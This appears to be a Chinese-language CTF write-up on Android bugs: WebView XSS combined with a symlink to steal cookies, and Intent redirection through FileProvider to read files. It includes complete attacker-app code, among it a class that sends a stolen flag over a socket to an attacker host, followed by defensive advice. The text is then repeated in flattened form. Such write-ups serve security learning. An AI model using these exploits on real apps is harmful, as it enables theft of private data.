通过两篇CTF Android题来入门Android 漏洞挖掘
字数 1458 2025-08-07 08:22:15

Android漏洞挖掘入门:WebView与Intent安全漏洞实战分析

一、WebView漏洞利用案例:easyAndroid

1. 漏洞背景

这是一个考察Android WebView错误配置导致XSS注入的漏洞,通过执行恶意JavaScript代码获取cookie文件。

2. 环境配置

  • 目标包名:com.bytectf.easydroid
  • 攻击者包名:com.bytectf.pwneasydroid
  • 模拟器要求:Android 27 API,x86_64架构

3. 漏洞分析

关键代码分析

MainActivity.java

public class MainActivity extends AppCompatActivity {
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Uri data = getIntent().getData();
        if (data == null) {
            data = Uri.parse("http://app.toutiao.com/");
        }
        if (data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")) {
            WebView webView = new WebView(getApplicationContext());
            webView.setWebViewClient(new WebViewClient() {
                public boolean shouldOverrideUrlLoading(WebView view, String url) {
                    if (!Uri.parse(url).getScheme().equals("intent")) {
                        return super.shouldOverrideUrlLoading(view, url);
                    }
                    try {
                        MainActivity.this.startActivity(Intent.parseUri(url, 1));
                    } catch (URISyntaxException e) {
                        e.printStackTrace();
                    }
                    return true;
                }
            });
            setContentView(webView);
            webView.getSettings().setJavaScriptEnabled(true);  // 关键漏洞点
            webView.loadUrl(data.toString());
        }
    }
}

TestActivity.java

public class TestActivity extends Activity {
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        String url = getIntent().getStringExtra("url");
        WebView webView = new WebView(getApplicationContext());
        setContentView(webView);
        webView.getSettings().setJavaScriptEnabled(true);  // 关键漏洞点
        webView.loadUrl(url);
    }
}

漏洞点

  1. webView.getSettings().setJavaScriptEnabled(true) 启用了JavaScript执行
  2. 缺乏对加载URL的有效验证和过滤
  3. 可以通过Intent传递任意URL给WebView加载

4. 利用思路

  1. 创建符号链接:建立一个指向Cookies数据库的符号链接

    String root = getApplicationInfo().dataDir;
    String symlink = root + "/symlink.";
    String cookies = "/data/data/com.byhtmltectf.easydroid/app_webview/Cookies";
    Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink);
    
  2. 构造恶意Intent

    Intent i = new Intent();
    i.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity");
    i.setData(Uri.parse("http://toutiao.com.azly.top/index.html"));  // 包含XSS payload
    startActivity(i);
    
  3. XSS Payload设计:在远程服务器上的index.html中注入JavaScript代码,读取符号链接指向的Cookie文件

5. 完整攻击代码

MainActivity.java (攻击者应用):

public class MainActivity extends Activity {
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        symlink(); // 创建软链接
        
        Intent i = new Intent();
        i.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity");
        i.setData(Uri.parse("http://toutiao.com.azly.top/index.html"));
        new Handler().postDelayed(() -> startActivity(i),5000);
    }
    
    private String symlink() {
        try {
            String root = getApplicationInfo().dataDir;
            String symlink = root + "/symlink.";
            String cookies = "/data/data/com.byhtmltectf.easydroid/app_webview/Cookies";
            Runtime.getRuntime().exec("rm " + symlink).waitFor();
            Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
            return symlink;
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

二、Intent漏洞利用案例:BabyAndroid

1. 漏洞背景

这是一个考察Android Intent组件不当使用的漏洞,通过Intent跳转和参数传递实现权限提升和敏感数据窃取。

2. 环境配置

  • 目标包名:com.bytectf.babydroid
  • 攻击者包名:com.bytectf.pwnbabydroid
  • 模拟器要求:Android 30 API,x86_64架构,Google APIs

3. 漏洞分析

关键代码分析

AndroidManifest.xml

<activity android:name="com.bytectf.babydroid.Vulnerable">
    <intent-filter>
        <action android:name="com.bytectf.TEST"/>
    </intent-filter>
</activity>

Vulnerable.java

public class Vulnerable extends Activity {
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        startActivity((Intent) getIntent().getParcelableExtra("intent"));  // 关键漏洞点
    }
}

漏洞点

  1. Vulnerable Activity直接执行传入的Intent对象,没有进行任何验证
  2. 可以通过构造特殊的Intent实现任意Activity跳转
  3. 结合FileProvider可实现任意文件读取

4. 利用思路

  1. 构造恶意Intent链

    • 通过Vulnerable Activity跳转到攻击者控制的Activity
    • 在攻击者Activity中读取目标应用的flag文件
  2. 文件路径构造

    String file = "/root/data/data/com.bytectf.babydroid/files/flag";
    
  3. 数据外传:通过Socket将读取的flag发送到攻击者服务器

5. 完整攻击代码

MainActivity.java (攻击者应用):

public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        Intent extra = new Intent();
        extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | 
                      Intent.FLAG_GRANT_PREFIX_URI_PERMISSION |
                      Intent.FLAG_GRANT_READ_URI_PERMISSION |
                      Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
        extra.setClassName(getPackageName(), "com.bytectf.pwnbabydroid.FlagHunter");
        extra.setData(Uri.parse("content://androidx.core.content.FileProvider/"));
        
        Intent intent = new Intent();
        intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
        intent.putExtra("intent", extra);
        intent.setAction("com.bytectf.TEST");
        startActivity(intent);
    }
}

FlagHunter.java

public class FlagHunter extends Activity {
    @Override
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        try {
            String file = "/root/data/data/com.bytectf.babydroid/files/flag";
            InputStream is = getContentResolver().openInputStream(
                Uri.parse(getIntent().getDataString() + file));
            
            BufferedReader br = new BufferedReader(new InputStreamReader(is));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line);
            }
            
            String flag = sb.toString();
            new Thread(new Runnable() {
                @Override
                public void run() {
                    try {
                        Socket sk = new Socket();
                        SocketAddress address = new InetSocketAddress("attacker-ip", 6666);
                        sk.connect(address, 5000);
                        OutputStream os = sk.getOutputStream();
                        os.write(flag.getBytes());
                        os.flush();
                        os.close();
                        sk.close();
                    } catch (Exception e) {
                        Log.e("FlagHunter_Err",e.toString());
                    }
                }
            }).start();
        } catch (Exception e) {
            Log.e("FlagHunter_Err",e.toString());
        }
    }
}

三、防御措施

WebView安全防护

  1. 禁用JavaScript除非绝对必要:

    webView.getSettings().setJavaScriptEnabled(false);
    
  2. 实现严格的URL白名单验证:

    if (!url.startsWith("https://trusted-domain.com")) {
        return false;
    }
    
  3. 使用WebViewClient进行安全控制:

    webView.setWebViewClient(new SafeWebViewClient());
    

Intent安全防护

  1. 验证传入的Intent参数:

    Intent received = getIntent().getParcelableExtra("intent");
    if (received != null && isSafeIntent(received)) {
        startActivity(received);
    }
    
  2. 限制组件导出:

    <activity android:exported="false"/>
    
  3. 使用签名验证:

    if (getPackageManager().checkSignatures(callingPackage, myPackage) == PackageManager.SIGNATURE_MATCH) {
        // 可信调用
    }
    

四、总结

通过这两个CTF案例,我们学习了Android应用安全中两个重要漏洞点:

  1. WebView安全

    • JavaScript启用导致XSS风险
    • URL验证不足导致任意代码执行
    • Cookie等敏感数据泄露风险
  2. Intent安全

    • 不当的Intent传递导致权限提升
    • 任意Activity跳转风险
    • 结合FileProvider的任意文件读取

在实际Android应用开发和安全测试中,需要特别注意这些组件的安全配置和使用方式,避免出现类似的安全漏洞。

Android漏洞挖掘入门:WebView与Intent安全漏洞实战分析 一、WebView漏洞利用案例:easyAndroid 1. 漏洞背景 这是一个考察Android WebView错误配置导致XSS注入的漏洞,通过执行恶意JavaScript代码获取cookie文件。 2. 环境配置 目标包名: com.bytectf.easydroid 攻击者包名: com.bytectf.pwneasydroid 模拟器要求:Android 27 API,x86_ 64架构 3. 漏洞分析 关键代码分析 MainActivity.java : TestActivity.java : 漏洞点 webView.getSettings().setJavaScriptEnabled(true) 启用了JavaScript执行 缺乏对加载URL的有效验证和过滤 可以通过Intent传递任意URL给WebView加载 4. 利用思路 创建符号链接 :建立一个指向Cookies数据库的符号链接 构造恶意Intent : XSS Payload设计 :在远程服务器上的index.html中注入JavaScript代码,读取符号链接指向的Cookie文件 5. 完整攻击代码 MainActivity.java (攻击者应用): 二、Intent漏洞利用案例:BabyAndroid 1. 漏洞背景 这是一个考察Android Intent组件不当使用的漏洞,通过Intent跳转和参数传递实现权限提升和敏感数据窃取。 2. 环境配置 目标包名: com.bytectf.babydroid 攻击者包名: com.bytectf.pwnbabydroid 模拟器要求:Android 30 API,x86_ 64架构,Google APIs 3. 漏洞分析 关键代码分析 AndroidManifest.xml : Vulnerable.java : 漏洞点 Vulnerable Activity直接执行传入的Intent对象,没有进行任何验证 可以通过构造特殊的Intent实现任意Activity跳转 结合FileProvider可实现任意文件读取 4. 利用思路 构造恶意Intent链 : 通过Vulnerable Activity跳转到攻击者控制的Activity 在攻击者Activity中读取目标应用的flag文件 文件路径构造 : 数据外传 :通过Socket将读取的flag发送到攻击者服务器 5. 完整攻击代码 MainActivity.java (攻击者应用): FlagHunter.java : 三、防御措施 WebView安全防护 禁用JavaScript除非绝对必要: 实现严格的URL白名单验证: 使用WebViewClient进行安全控制: Intent安全防护 验证传入的Intent参数: 限制组件导出: 使用签名验证: 四、总结 通过这两个CTF案例,我们学习了Android应用安全中两个重要漏洞点: WebView安全 : JavaScript启用导致XSS风险 URL验证不足导致任意代码执行 Cookie等敏感数据泄露风险 Intent安全 : 不当的Intent传递导致权限提升 任意Activity跳转风险 结合FileProvider的任意文件读取 在实际Android应用开发和安全测试中,需要特别注意这些组件的安全配置和使用方式,避免出现类似的安全漏洞。